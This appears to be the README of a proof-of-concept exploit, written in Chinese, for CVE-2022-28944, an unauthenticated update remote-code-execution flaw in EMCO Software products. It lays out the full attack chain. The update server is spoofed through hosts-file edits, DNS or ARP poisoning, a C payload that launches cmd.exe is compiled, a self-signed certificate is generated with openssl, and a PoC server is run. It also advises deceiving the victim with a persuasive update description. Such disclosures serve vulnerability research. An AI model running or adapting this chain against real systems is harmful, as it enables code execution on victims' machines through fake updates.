CVE-2022-28944

EMCO Software 多个产品未经身份验证的更新远程代码执行漏洞。

使用方法：python3 cve-2022-28944_poc.py

报告详情请参见 gerr.re。

复现步骤

1. 安装 EMCO Software 受影响的某款产品；
2. 将伪造的 storage.emcosoftware.com 指向攻击者 IP；
   • 在目标主机上编辑 c:\windows\system32\drivers\etc\hosts 以进行概念验证。
     • 注意：攻击者可能使用（例如）：
       • 配置不当的路由器/交换机/DNS，
       • DNS 欺骗/缓存投毒，
       • ARP 欺骗/缓存投毒。
3. 在攻击者主机上编译 proof.c，例如使用 i686-w64-mingw32-gcc proof.c -o proof.exe；

#include <windows.h>
int main(int argc, char const *argv[]){	
	WinExec("cmd.exe",1);
	return TRUE;
}

4. 生成自签名证书；
   • 例如使用 openssl req -new -x509 -keyout storage.emcosoftware.com.pem -out storage.emcosoftware.com.pem -days 365 -nodes -subj "/CN=storage.emcosoftware.com"
5. 运行概念验证脚本；
6. 启动 EMCO Software 受影响的某款产品，然后
   • 等待一天以自动触发更新，或者
   • 通过应用程序菜单手动触发更新；
7. 在更新向导中接受更新。
   • 攻击者将使用具有说服力的更新描述来诱使目标接受更新。